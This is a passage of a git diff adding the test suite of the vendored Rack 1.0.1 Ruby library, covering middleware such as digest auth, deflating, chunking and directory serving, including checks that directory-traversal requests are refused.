+      Rack::Auth::Digest::Nonce.time_limit = nil
+    end
+  end
+
+  specify 'should return 400 Bad Request if incorrect qop given' do
+    request_with_digest_auth 'GET', '/', 'Alice', 'correct-password', 'qop' => 'auth-int' do |response|
+      assert_bad_request response
+    end
+  end
+
+  specify 'should return 400 Bad Request if incorrect uri given' do
+    request_with_digest_auth 'GET', '/', 'Alice', 'correct-password', 'uri' => '/foo' do |response|
+      assert_bad_request response
+    end
+  end
+
+  specify 'should return 400 Bad Request if different auth scheme used' do
+    request 'GET', '/', 'HTTP_AUTHORIZATION' => 'Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==' do |response|
+      assert_bad_request response
+    end
+  end
+
+  specify 'should not require credentials for unprotected path' do
+    @request = Rack::MockRequest.new(partially_protected_app)
+    request 'GET', '/' do |response|
+      response.should.be.ok
+    end
+  end
+
+  specify 'should challenge when no credentials are specified for protected path' do
+    @request = Rack::MockRequest.new(partially_protected_app)
+    request 'GET', '/protected' do |response|
+      assert_digest_auth_challenge response
+    end
+  end
+
+  specify 'should return application output if correct credentials given for protected path' do
+    @request = Rack::MockRequest.new(partially_protected_app)
+    request_with_digest_auth 'GET', '/protected', 'Alice', 'correct-password' do |response|
+      response.status.should.equal 200
+      response.body.to_s.should.equal 'Hi Alice'
+    end
+  end
+
+  specify 'should return application output if correct credentials given for POST' do
+    request_with_digest_auth 'POST', '/', 'Alice', 'correct-password' do |response|
+      response.status.should.equal 200
+      response.body.to_s.should.equal 'Hi Alice'
+    end
+  end
+
+  specify 'should return application output if correct credentials given for PUT (using method override of POST)' do
+    @request = Rack::MockRequest.new(protected_app_with_method_override)
+    request_with_digest_auth 'POST', '/', 'Alice', 'correct-password', :input => "_method=put" do |response|
+      response.status.should.equal 200
+      response.body.to_s.should.equal 'Hi Alice'
+    end
+  end
+
+  specify 'realm as optional constructor arg' do
+    app = Rack::Auth::Digest::MD5.new(unprotected_app, realm) { true }
+    assert_equal realm, app.realm
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_auth_openid.rb b/vendor/gems/rack-1.0.1/test/spec_rack_auth_openid.rb
new file mode 100644
index 00000000..ba248445
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_auth_openid.rb
@@ -0,0 +1,84 @@
+require 'test/spec'
+
+begin
+# requires the ruby-openid gem
+require 'rack/auth/openid'
+
+context "Rack::Auth::OpenID" do
+  OID = Rack::Auth::OpenID
+  host = 'host'
+  subd = 'sub.host'
+  wild = '*.host'
+  path = 'path'
+  long = 'path/long'
+  scheme = 'http://'
+  realm = scheme+host+'/'+path
+
+  specify 'realm uri should be valid' do
+    lambda{OID.new('/'+path)}.should.raise ArgumentError
+    lambda{OID.new('/'+long)}.should.raise ArgumentError
+    lambda{OID.new(scheme+host)}.should.not.raise
+    lambda{OID.new(scheme+host+'/')}.should.not.raise
+    lambda{OID.new(scheme+host+'/'+path)}.should.not.raise
+    lambda{OID.new(scheme+subd)}.should.not.raise
+    lambda{OID.new(scheme+subd+'/')}.should.not.raise
+    lambda{OID.new(scheme+subd+'/'+path)}.should.not.raise
+  end
+
+  specify 'should be able to check if a uri is within the realm' do
+  end
+
+  specify 'return_to should be valid' do
+    uri = '/'+path
+    lambda{OID.new(realm, :return_to=>uri)}.should.raise ArgumentError
+    uri = '/'+long
+    lambda{OID.new(realm, :return_to=>uri)}.should.raise ArgumentError
+    uri = scheme+host
+    lambda{OID.new(realm, :return_to=>uri)}.should.raise ArgumentError
+    uri = scheme+host+'/'+path
+    lambda{OID.new(realm, :return_to=>uri)}.should.not.raise
+    uri = scheme+subd+'/'+path
+    lambda{OID.new(realm, :return_to=>uri)}.should.raise ArgumentError
+    uri = scheme+host+'/'+long
+    lambda{OID.new(realm, :return_to=>uri)}.should.not.raise
+    uri = scheme+subd+'/'+long
+    lambda{OID.new(realm, :return_to=>uri)}.should.raise ArgumentError
+  end
+
+  specify 'extensions should have required constants defined' do
+    badext = Rack::Auth::OpenID::BadExtension
+    ext = Object.new
+    lambda{OID.new(realm).add_extension(ext)}.should.raise(badext)
+    ext = Module.new
+    lambda{OID.new(realm).add_extension(ext)}.should.raise(badext)
+    ext::Request = nil
+    lambda{OID.new(realm).add_extension(ext)}.should.raise(badext)
+    ext::Response = nil
+    lambda{OID.new(realm).add_extension(ext)}.should.raise(badext)
+    ext::NS_URI = nil
+    lambda{OID.new(realm).add_extension(ext)}.should.raise(badext)
+  end
+
+  specify 'extensions should have Request and Response defined and inherit from OpenID::Extension' do
+    $-w, w = nil, $-w               # yuck
+    badext = Rack::Auth::OpenID::BadExtension
+    ext = Module.new
+    ext::Request = nil
+    ext::Response = nil
+    ext::NS_URI = nil
+    lambda{OID.new(realm).add_extension(ext)}.should.raise(badext)
+    ext::Request = Class.new()
+    lambda{OID.new(realm).add_extension(ext)}.should.raise(badext)
+    ext::Response = Class.new()
+    lambda{OID.new(realm).add_extension(ext)}.should.raise(badext)
+    ext::Request = Class.new(::OpenID::Extension)
+    lambda{OID.new(realm).add_extension(ext)}.should.raise(badext)
+    ext::Response = Class.new(::OpenID::Extension)
+    lambda{OID.new(realm).add_extension(ext)}.should.raise(badext)
+    $-w = w
+  end
+end
+
+rescue LoadError
+  $stderr.puts "Skipping Rack::Auth::OpenID tests (ruby-openid 2 is required). `gem install ruby-openid` and try again."
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_builder.rb b/vendor/gems/rack-1.0.1/test/spec_rack_builder.rb
new file mode 100644
index 00000000..3fad9810
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_builder.rb
@@ -0,0 +1,84 @@
+require 'test/spec'
+
+require 'rack/builder'
+require 'rack/mock'
+require 'rack/showexceptions'
+require 'rack/auth/basic'
+
+context "Rack::Builder" do
+  specify "chains apps by default" do
+    app = Rack::Builder.new do
+      use Rack::ShowExceptions
+      run lambda { |env| raise "bzzzt" }
+    end.to_app
+
+    Rack::MockRequest.new(app).get("/").should.be.server_error
+    Rack::MockRequest.new(app).get("/").should.be.server_error
+    Rack::MockRequest.new(app).get("/").should.be.server_error
+  end
+
+  specify "has implicit #to_app" do
+    app = Rack::Builder.new do
+      use Rack::ShowExceptions
+      run lambda { |env| raise "bzzzt" }
+    end
+
+    Rack::MockRequest.new(app).get("/").should.be.server_error
+    Rack::MockRequest.new(app).get("/").should.be.server_error
+    Rack::MockRequest.new(app).get("/").should.be.server_error
+  end
+
+  specify "supports blocks on use" do
+    app = Rack::Builder.new do
+      use Rack::ShowExceptions
+      use Rack::Auth::Basic do |username, password|
+        'secret' == password
+      end
+
+      run lambda { |env| [200, {}, ['Hi Boss']] }
+    end
+
+    response = Rack::MockRequest.new(app).get("/")
+    response.should.be.client_error
+    response.status.should.equal 401
+
+    # with auth...
+    response = Rack::MockRequest.new(app).get("/", 
+        'HTTP_AUTHORIZATION' => 'Basic ' + ["joe:secret"].pack("m*"))
+    response.status.should.equal 200
+    response.body.to_s.should.equal 'Hi Boss'
+  end
+
+  specify "has explicit #to_app" do
+    app = Rack::Builder.app do
+      use Rack::ShowExceptions
+      run lambda { |env| raise "bzzzt" }
+    end
+
+    Rack::MockRequest.new(app).get("/").should.be.server_error
+    Rack::MockRequest.new(app).get("/").should.be.server_error
+    Rack::MockRequest.new(app).get("/").should.be.server_error
+  end
+
+  specify "apps are initialized once" do
+    app = Rack::Builder.new do
+      class AppClass
+        def initialize
+          @called = 0
+        end
+        def call(env)
+          raise "bzzzt"  if @called > 0
+        @called += 1
+          [200, {'Content-Type' => 'text/plain'}, ['OK']]
+        end
+      end
+
+      use Rack::ShowExceptions
+      run AppClass.new
+    end
+
+    Rack::MockRequest.new(app).get("/").status.should.equal 200
+    Rack::MockRequest.new(app).get("/").should.be.server_error
+  end
+
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_camping.rb b/vendor/gems/rack-1.0.1/test/spec_rack_camping.rb
new file mode 100644
index 00000000..bed11710
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_camping.rb
@@ -0,0 +1,51 @@
+require 'test/spec'
+require 'stringio'
+require 'uri'
+
+begin
+  require 'rack/mock'
+
+  $-w, w = nil, $-w               # yuck
+  require 'camping'
+  require 'rack/adapter/camping'
+
+  Camping.goes :CampApp
+  module CampApp
+    module Controllers
+      class HW < R('/')
+        def get
+          @headers["X-Served-By"] = URI("http://rack.rubyforge.org")
+          "Camping works!"
+        end
+
+        def post
+          "Data: #{input.foo}"
+        end
+      end
+    end
+  end
+  $-w = w
+
+  context "Rack::Adapter::Camping" do
+    specify "works with GET" do
+      res = Rack::MockRequest.new(Rack::Adapter::Camping.new(CampApp)).
+        get("/")
+
+      res.should.be.ok
+      res["Content-Type"].should.equal "text/html"
+      res["X-Served-By"].should.equal "http://rack.rubyforge.org"
+
+      res.body.should.equal "Camping works!"
+    end
+
+    specify "works with POST" do
+      res = Rack::MockRequest.new(Rack::Adapter::Camping.new(CampApp)).
+        post("/", :input => "foo=bar")
+
+      res.should.be.ok
+      res.body.should.equal "Data: bar"
+    end
+  end
+rescue LoadError
+  $stderr.puts "Skipping Rack::Adapter::Camping tests (Camping is required). `gem install camping` and try again."
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_cascade.rb b/vendor/gems/rack-1.0.1/test/spec_rack_cascade.rb
new file mode 100644
index 00000000..3c0f3be3
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_cascade.rb
@@ -0,0 +1,50 @@
+require 'test/spec'
+
+require 'rack/cascade'
+require 'rack/mock'
+
+require 'rack/urlmap'
+require 'rack/file'
+
+context "Rack::Cascade" do
+  docroot = File.expand_path(File.dirname(__FILE__))
+  app1 = Rack::File.new(docroot)
+
+  app2 = Rack::URLMap.new("/crash" => lambda { |env| raise "boom" })
+
+  app3 = Rack::URLMap.new("/foo" => lambda { |env|
+                            [200, { "Content-Type" => "text/plain"}, [""]]})
+
+  specify "should dispatch onward on 404 by default" do
+    cascade = Rack::Cascade.new([app1, app2, app3])
+    Rack::MockRequest.new(cascade).get("/cgi/test").should.be.ok
+    Rack::MockRequest.new(cascade).get("/foo").should.be.ok
+    Rack::MockRequest.new(cascade).get("/toobad").should.be.not_found
+    Rack::MockRequest.new(cascade).get("/cgi/../bla").should.be.forbidden
+  end
+
+  specify "should dispatch onward on whatever is passed" do
+    cascade = Rack::Cascade.new([app1, app2, app3], [404, 403])
+    Rack::MockRequest.new(cascade).get("/cgi/../bla").should.be.not_found
+  end
+
+  specify "should fail if empty" do
+    lambda { Rack::MockRequest.new(Rack::Cascade.new([])).get("/") }.
+      should.raise(ArgumentError)
+  end
+
+  specify "should append new app" do
+    cascade = Rack::Cascade.new([], [404, 403])
+    lambda { Rack::MockRequest.new(cascade).get('/cgi/test') }.
+      should.raise(ArgumentError)
+    cascade << app2
+    Rack::MockRequest.new(cascade).get('/cgi/test').should.be.not_found
+    Rack::MockRequest.new(cascade).get('/cgi/../bla').should.be.not_found
+    cascade << app1
+    Rack::MockRequest.new(cascade).get('/cgi/test').should.be.ok
+    Rack::MockRequest.new(cascade).get('/cgi/../bla').should.be.forbidden
+    Rack::MockRequest.new(cascade).get('/foo').should.be.not_found
+    cascade << app3
+    Rack::MockRequest.new(cascade).get('/foo').should.be.ok
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_cgi.rb b/vendor/gems/rack-1.0.1/test/spec_rack_cgi.rb
new file mode 100644
index 00000000..818fabdf
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_cgi.rb
@@ -0,0 +1,89 @@
+require 'test/spec'
+require 'testrequest'
+
+context "Rack::Handler::CGI" do
+  include TestRequest::Helpers
+  
+  setup do
+    @host = '0.0.0.0'
+    @port = 9203
+  end
+
+  # Keep this first.
+  specify "startup" do
+    $pid = fork {
+      Dir.chdir(File.join(File.dirname(__FILE__), "..", "test", "cgi"))
+      exec "lighttpd -D -f lighttpd.conf"
+    }
+  end
+
+  specify "should respond" do
+    sleep 1
+    lambda {
+      GET("/test")
+    }.should.not.raise
+  end
+
+  specify "should be a lighttpd" do
+    GET("/test")
+    status.should.be 200
+    response["SERVER_SOFTWARE"].should =~ /lighttpd/
+    response["HTTP_VERSION"].should.equal "HTTP/1.1"
+    response["SERVER_PROTOCOL"].should.equal "HTTP/1.1"
+    response["SERVER_PORT"].should.equal @port.to_s
+    response["SERVER_NAME"].should =~ @host
+  end
+
+  specify "should have rack headers" do
+    GET("/test")
+    response["rack.version"].should.equal [1,0]
+    response["rack.multithread"].should.be false
+    response["rack.multiprocess"].should.be true
+    response["rack.run_once"].should.be true
+  end
+
+  specify "should have CGI headers on GET" do
+    GET("/test")
+    response["REQUEST_METHOD"].should.equal "GET"
+    response["SCRIPT_NAME"].should.equal "/test"
+    response["REQUEST_PATH"].should.equal "/"
+    response["PATH_INFO"].should.be.nil
+    response["QUERY_STRING"].should.equal ""
+    response["test.postdata"].should.equal ""
+
+    GET("/test/foo?quux=1")
+    response["REQUEST_METHOD"].should.equal "GET"
+    response["SCRIPT_NAME"].should.equal "/test"
+    response["REQUEST_PATH"].should.equal "/"
+    response["PATH_INFO"].should.equal "/foo"
+    response["QUERY_STRING"].should.equal "quux=1"
+  end
+
+  specify "should have CGI headers on POST" do
+    POST("/test", {"rack-form-data" => "23"}, {'X-test-header' => '42'})
+    status.should.equal 200
+    response["REQUEST_METHOD"].should.equal "POST"
+    response["SCRIPT_NAME"].should.equal "/test"
+    response["REQUEST_PATH"].should.equal "/"
+    response["QUERY_STRING"].should.equal ""
+    response["HTTP_X_TEST_HEADER"].should.equal "42"
+    response["test.postdata"].should.equal "rack-form-data=23"
+  end
+
+  specify "should support HTTP auth" do
+    GET("/test", {:user => "ruth", :passwd => "secret"})
+    response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ="
+  end
+
+  specify "should set status" do
+    GET("/test?secret")
+    status.should.equal 403
+    response["rack.url_scheme"].should.equal "http"
+  end
+
+  # Keep this last.
+  specify "shutdown" do
+    Process.kill 15, $pid
+    Process.wait($pid).should.equal $pid
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_chunked.rb b/vendor/gems/rack-1.0.1/test/spec_rack_chunked.rb
new file mode 100644
index 00000000..39eea482
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_chunked.rb
@@ -0,0 +1,62 @@
+require 'rack/mock'
+require 'rack/chunked'
+require 'rack/utils'
+
+context "Rack::Chunked" do
+
+  before do
+    @env = Rack::MockRequest.
+      env_for('/', 'HTTP_VERSION' => '1.1', 'REQUEST_METHOD' => 'GET')
+  end
+
+  specify 'chunks responses with no Content-Length' do
+    app = lambda { |env| [200, {}, ['Hello', ' ', 'World!']] }
+    response = Rack::MockResponse.new(*Rack::Chunked.new(app).call(@env))
+    response.headers.should.not.include 'Content-Length'
+    response.headers['Transfer-Encoding'].should.equal 'chunked'
+    response.body.should.equal "5\r\nHello\r\n1\r\n \r\n6\r\nWorld!\r\n0\r\n\r\n"
+  end
+
+  specify 'chunks empty bodies properly' do
+    app = lambda { |env| [200, {}, []] }
+    response = Rack::MockResponse.new(*Rack::Chunked.new(app).call(@env))
+    response.headers.should.not.include 'Content-Length'
+    response.headers['Transfer-Encoding'].should.equal 'chunked'
+    response.body.should.equal "0\r\n\r\n"
+  end
+
+  specify 'does not modify response when Content-Length header present' do
+    app = lambda { |env| [200, {'Content-Length'=>'12'}, ['Hello', ' ', 'World!']] }
+    status, headers, body = Rack::Chunked.new(app).call(@env)
+    status.should.equal 200
+    headers.should.not.include 'Transfer-Encoding'
+    headers.should.include 'Content-Length'
+    body.join.should.equal 'Hello World!'
+  end
+
+  specify 'does not modify response when client is HTTP/1.0' do
+    app = lambda { |env| [200, {}, ['Hello', ' ', 'World!']] }
+    @env['HTTP_VERSION'] = 'HTTP/1.0'
+    status, headers, body = Rack::Chunked.new(app).call(@env)
+    status.should.equal 200
+    headers.should.not.include 'Transfer-Encoding'
+    body.join.should.equal 'Hello World!'
+  end
+
+  specify 'does not modify response when Transfer-Encoding header already present' do
+    app = lambda { |env| [200, {'Transfer-Encoding' => 'identity'}, ['Hello', ' ', 'World!']] }
+    status, headers, body = Rack::Chunked.new(app).call(@env)
+    status.should.equal 200
+    headers['Transfer-Encoding'].should.equal 'identity'
+    body.join.should.equal 'Hello World!'
+  end
+
+  [100, 204, 304].each do |status_code|
+    specify "does not modify response when status code is #{status_code}" do
+      app = lambda { |env| [status_code, {}, []] }
+      status, headers, body = Rack::Chunked.new(app).call(@env)
+      status.should.equal status_code
+      headers.should.not.include 'Transfer-Encoding'
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_commonlogger.rb b/vendor/gems/rack-1.0.1/test/spec_rack_commonlogger.rb
new file mode 100644
index 00000000..ba03b78a
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_commonlogger.rb
@@ -0,0 +1,32 @@
+require 'test/spec'
+require 'stringio'
+
+require 'rack/commonlogger'
+require 'rack/lobster'
+require 'rack/mock'
+
+context "Rack::CommonLogger" do
+  app = lambda { |env|
+    [200,
+     {"Content-Type" => "text/html"},
+     ["foo"]]}
+
+  specify "should log to rack.errors by default" do
+    log = StringIO.new
+    res = Rack::MockRequest.new(Rack::CommonLogger.new(app)).get("/")
+
+    res.errors.should.not.be.empty
+    res.errors.should =~ /GET /
+    res.errors.should =~ / 200 / # status
+    res.errors.should =~ / 3 /   # length
+  end
+
+  specify "should log to anything with <<" do
+    log = ""
+    res = Rack::MockRequest.new(Rack::CommonLogger.new(app, log)).get("/")
+
+    log.should =~ /GET /
+    log.should =~ / 200 / # status
+    log.should =~ / 3 / # length
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_conditionalget.rb b/vendor/gems/rack-1.0.1/test/spec_rack_conditionalget.rb
new file mode 100644
index 00000000..ca34cc92
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_conditionalget.rb
@@ -0,0 +1,41 @@
+require 'test/spec'
+require 'time'
+
+require 'rack/mock'
+require 'rack/conditionalget'
+
+context "Rack::ConditionalGet" do
+  specify "should set a 304 status and truncate body when If-Modified-Since hits" do
+    timestamp = Time.now.httpdate
+    app = Rack::ConditionalGet.new(lambda { |env|
+      [200, {'Last-Modified'=>timestamp}, ['TEST']] })
+
+    response = Rack::MockRequest.new(app).
+      get("/", 'HTTP_IF_MODIFIED_SINCE' => timestamp)
+
+    response.status.should.equal 304
+    response.body.should.be.empty
+  end
+
+  specify "should set a 304 status and truncate body when If-None-Match hits" do
+    app = Rack::ConditionalGet.new(lambda { |env|
+      [200, {'Etag'=>'1234'}, ['TEST']] })
+
+    response = Rack::MockRequest.new(app).
+      get("/", 'HTTP_IF_NONE_MATCH' => '1234')
+
+    response.status.should.equal 304
+    response.body.should.be.empty
+  end
+
+  specify "should not affect non-GET/HEAD requests" do
+    app = Rack::ConditionalGet.new(lambda { |env|
+      [200, {'Etag'=>'1234'}, ['TEST']] })
+
+    response = Rack::MockRequest.new(app).
+      post("/", 'HTTP_IF_NONE_MATCH' => '1234')
+
+    response.status.should.equal 200
+    response.body.should.equal 'TEST'
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_content_length.rb b/vendor/gems/rack-1.0.1/test/spec_rack_content_length.rb
new file mode 100644
index 00000000..7db9345f
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_content_length.rb
@@ -0,0 +1,43 @@
+require 'rack/mock'
+require 'rack/content_length'
+
+context "Rack::ContentLength" do
+  specify "sets Content-Length on String bodies if none is set" do
+    app = lambda { |env| [200, {'Content-Type' => 'text/plain'}, "Hello, World!"] }
+    response = Rack::ContentLength.new(app).call({})
+    response[1]['Content-Length'].should.equal '13'
+  end
+
+  specify "sets Content-Length on Array bodies if none is set" do
+    app = lambda { |env| [200, {'Content-Type' => 'text/plain'}, ["Hello, World!"]] }
+    response = Rack::ContentLength.new(app).call({})
+    response[1]['Content-Length'].should.equal '13'
+  end
+
+  specify "does not set Content-Length on variable length bodies" do
+    body = lambda { "Hello World!" }
+    def body.each ; yield call ; end
+
+    app = lambda { |env| [200, {'Content-Type' => 'text/plain'}, body] }
+    response = Rack::ContentLength.new(app).call({})
+    response[1]['Content-Length'].should.be.nil
+  end
+
+  specify "does not change Content-Length if it is already set" do
+    app = lambda { |env| [200, {'Content-Type' => 'text/plain', 'Content-Length' => '1'}, "Hello, World!"] }
+    response = Rack::ContentLength.new(app).call({})
+    response[1]['Content-Length'].should.equal '1'
+  end
+
+  specify "does not set Content-Length on 304 responses" do
+    app = lambda { |env| [304, {'Content-Type' => 'text/plain'}, []] }
+    response = Rack::ContentLength.new(app).call({})
+    response[1]['Content-Length'].should.equal nil
+  end
+
+  specify "does not set Content-Length when Transfer-Encoding is chunked" do
+    app = lambda { |env| [200, {'Transfer-Encoding' => 'chunked'}, []] }
+    response = Rack::ContentLength.new(app).call({})
+    response[1]['Content-Length'].should.equal nil
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_content_type.rb b/vendor/gems/rack-1.0.1/test/spec_rack_content_type.rb
new file mode 100644
index 00000000..9975b94d
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_content_type.rb
@@ -0,0 +1,30 @@
+require 'rack/mock'
+require 'rack/content_type'
+
+context "Rack::ContentType" do
+  specify "sets Content-Type to default text/html if none is set" do
+    app = lambda { |env| [200, {}, "Hello, World!"] }
+    status, headers, body = Rack::ContentType.new(app).call({})
+    headers['Content-Type'].should.equal 'text/html'
+  end
+
+  specify "sets Content-Type to chosen default if none is set" do
+    app = lambda { |env| [200, {}, "Hello, World!"] }
+    status, headers, body =
+      Rack::ContentType.new(app, 'application/octet-stream').call({})
+    headers['Content-Type'].should.equal 'application/octet-stream'
+  end
+
+  specify "does not change Content-Type if it is already set" do
+    app = lambda { |env| [200, {'Content-Type' => 'foo/bar'}, "Hello, World!"] }
+    status, headers, body = Rack::ContentType.new(app).call({})
+    headers['Content-Type'].should.equal 'foo/bar'
+  end
+
+  specify "case insensitive detection of Content-Type" do
+    app = lambda { |env| [200, {'CONTENT-Type' => 'foo/bar'}, "Hello, World!"] }
+    status, headers, body = Rack::ContentType.new(app).call({})
+    headers.to_a.select { |k,v| k.downcase == "content-type" }.
+      should.equal [["CONTENT-Type","foo/bar"]]
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_deflater.rb b/vendor/gems/rack-1.0.1/test/spec_rack_deflater.rb
new file mode 100644
index 00000000..c9bb3189
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_deflater.rb
@@ -0,0 +1,127 @@
+require 'test/spec'
+
+require 'rack/mock'
+require 'rack/deflater'
+require 'stringio'
+require 'time'  # for Time#httpdate
+
+context "Rack::Deflater" do
+  def build_response(status, body, accept_encoding, headers = {})
+    body = [body]  if body.respond_to? :to_str
+    app = lambda { |env| [status, {}, body] }
+    request = Rack::MockRequest.env_for("", headers.merge("HTTP_ACCEPT_ENCODING" => accept_encoding))
+    response = Rack::Deflater.new(app).call(request)
+
+    return response
+  end
+
+  specify "should be able to deflate bodies that respond to each" do
+    body = Object.new
+    class << body; def each; yield("foo"); yield("bar"); end; end
+
+    response = build_response(200, body, "deflate")
+
+    response[0].should.equal(200)
+    response[1].should.equal({
+      "Content-Encoding" => "deflate",
+      "Vary" => "Accept-Encoding"
+    })
+    buf = ''
+    response[2].each { |part| buf << part }
+    buf.should.equal("K\313\317OJ,\002\000")
+  end
+
+  # TODO: This is really just a special case of the above...
+  specify "should be able to deflate String bodies" do
+    response = build_response(200, "Hello world!", "deflate")
+
+    response[0].should.equal(200)
+    response[1].should.equal({
+      "Content-Encoding" => "deflate",
+      "Vary" => "Accept-Encoding"
+    })
+    buf = ''
+    response[2].each { |part| buf << part }
+    buf.should.equal("\363H\315\311\311W(\317/\312IQ\004\000")
+  end
+
+  specify "should be able to gzip bodies that respond to each" do
+    body = Object.new
+    class << body; def each; yield("foo"); yield("bar"); end; end
+
+    response = build_response(200, body, "gzip")
+
+    response[0].should.equal(200)
+    response[1].should.equal({
+      "Content-Encoding" => "gzip",
+      "Vary" => "Accept-Encoding",
+    })
+
+    buf = ''
+    response[2].each { |part| buf << part }
+    io = StringIO.new(buf)
+    gz = Zlib::GzipReader.new(io)
+    gz.read.should.equal("foobar")
+    gz.close
+  end
+
+  specify "should be able to fallback to no deflation" do
+    response = build_response(200, "Hello world!", "superzip")
+
+    response[0].should.equal(200)
+    response[1].should.equal({ "Vary" => "Accept-Encoding" })
+    response[2].should.equal(["Hello world!"])
+  end
+
+  specify "should be able to skip when there is no response entity body" do
+    response = build_response(304, [], "gzip")
+
+    response[0].should.equal(304)
+    response[1].should.equal({})
+    response[2].should.equal([])
+  end
+
+  specify "should handle the lack of an acceptable encoding" do
+    response1 = build_response(200, "Hello world!", "identity;q=0", "PATH_INFO" => "/")
+    response1[0].should.equal(406)
+    response1[1].should.equal({"Content-Type" => "text/plain", "Content-Length" => "71"})
+    response1[2].should.equal(["An acceptable encoding for the requested resource / could not be found."])
+
+    response2 = build_response(200, "Hello world!", "identity;q=0", "SCRIPT_NAME" => "/foo", "PATH_INFO" => "/bar")
+    response2[0].should.equal(406)
+    response2[1].should.equal({"Content-Type" => "text/plain", "Content-Length" => "78"})
+    response2[2].should.equal(["An acceptable encoding for the requested resource /foo/bar could not be found."])
+  end
+
+  specify "should handle gzip response with Last-Modified header" do
+    last_modified = Time.now.httpdate
+
+    app = lambda { |env| [200, { "Last-Modified" => last_modified }, ["Hello World!"]] }
+    request = Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => "gzip")
+    response = Rack::Deflater.new(app).call(request)
+
+    response[0].should.equal(200)
+    response[1].should.equal({
+      "Content-Encoding" => "gzip",
+      "Vary" => "Accept-Encoding",
+      "Last-Modified" => last_modified
+    })
+
+    buf = ''
+    response[2].each { |part| buf << part }
+    io = StringIO.new(buf)
+    gz = Zlib::GzipReader.new(io)
+    gz.read.should.equal("Hello World!")
+    gz.close
+  end
+
+  specify "should do nothing when no-transform Cache-Control directive present" do
+    app = lambda { |env| [200, {'Cache-Control' => 'no-transform'}, ['Hello World!']] }
+    request = Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => "gzip")
+    response = Rack::Deflater.new(app).call(request)
+
+    response[0].should.equal(200)
+    response[1].should.not.include "Content-Encoding"
+    response[2].join.should.equal("Hello World!")
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_directory.rb b/vendor/gems/rack-1.0.1/test/spec_rack_directory.rb
new file mode 100644
index 00000000..540c728d
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_directory.rb
@@ -0,0 +1,61 @@
+require 'test/spec'
+
+require 'rack/directory'
+require 'rack/lint'
+
+require 'rack/mock'
+
+context "Rack::Directory" do
+  DOCROOT = File.expand_path(File.dirname(__FILE__))
+  FILE_CATCH = proc{|env| [200, {'Content-Type'=>'text/plain', "Content-Length" => "7"}, ['passed!']] }
+  app = Rack::Directory.new DOCROOT, FILE_CATCH
+
+  specify "serves directory indices" do
+    res = Rack::MockRequest.new(Rack::Lint.new(app)).
+      get("/cgi/")
+
+    res.should.be.ok
+    res.should =~ /<html><head>/
+  end
+
+  specify "passes to app if file found" do
+    res = Rack::MockRequest.new(Rack::Lint.new(app)).
+      get("/cgi/test")
+
+    res.should.be.ok
+    res.should =~ /passed!/
+  end
+
+  specify "serves uri with URL encoded filenames" do
+    res = Rack::MockRequest.new(Rack::Lint.new(app)).
+      get("/%63%67%69/") # "/cgi/test"
+
+    res.should.be.ok
+    res.should =~ /<html><head>/
+
+    res = Rack::MockRequest.new(Rack::Lint.new(app)).
+      get("/cgi/%74%65%73%74") # "/cgi/test"
+
+    res.should.be.ok
+    res.should =~ /passed!/
+  end
+
+  specify "does not allow directory traversal" do
+    res = Rack::MockRequest.new(Rack::Lint.new(app)).
+      get("/cgi/../test")
+
+    res.should.be.forbidden
+
+    res = Rack::MockRequest.new(Rack::Lint.new(app)).
+      get("/cgi/%2E%2E/test")
+
+    res.should.be.forbidden
+  end
+
+  specify "404s if it can't find the file" do
+    res = Rack::MockRequest.new(Rack::Lint.new(app)).
+      get("/cgi/blubb")
+
+    res.should.be.not_found
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_fastcgi.rb b/vendor/gems/rack-1.0.1/test/spec_rack_fastcgi.rb
new file mode 100644
index 00000000..69478de5
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_fastcgi.rb
@@ -0,0 +1,89 @@
+require 'test/spec'
+require 'testrequest'
+
+context "Rack::Handler::FastCGI" do
+  include TestRequest::Helpers
+
+  setup do
+    @host = '0.0.0.0'
+    @port = 9203
+  end
+
+  # Keep this first.
+  specify "startup" do
+    $pid = fork {
+      Dir.chdir(File.join(File.dirname(__FILE__), "..", "test", "cgi"))
+      exec "lighttpd -D -f lighttpd.conf"
+    }
+  end
+
+  specify "should respond" do
+    sleep 1
+    lambda {
+      GET("/test.fcgi")
+    }.should.not.raise
+  end
+
+  specify "should be a lighttpd" do
+    GET("/test.fcgi")
+    status.should.be 200
+    response["SERVER_SOFTWARE"].should =~ /lighttpd/
+    response["HTTP_VERSION"].should.equal "HTTP/1.1"
+    response["SERVER_PROTOCOL"].should.equal "HTTP/1.1"
+    response["SERVER_PORT"].should.equal @port.to_s
+    response["SERVER_NAME"].should =~ @host
+  end
+
+  specify "should have rack headers" do
+    GET("/test.fcgi")
+    response["rack.version"].should.equal [1,0]
+    response["rack.multithread"].should.be false
+    response["rack.multiprocess"].should.be true
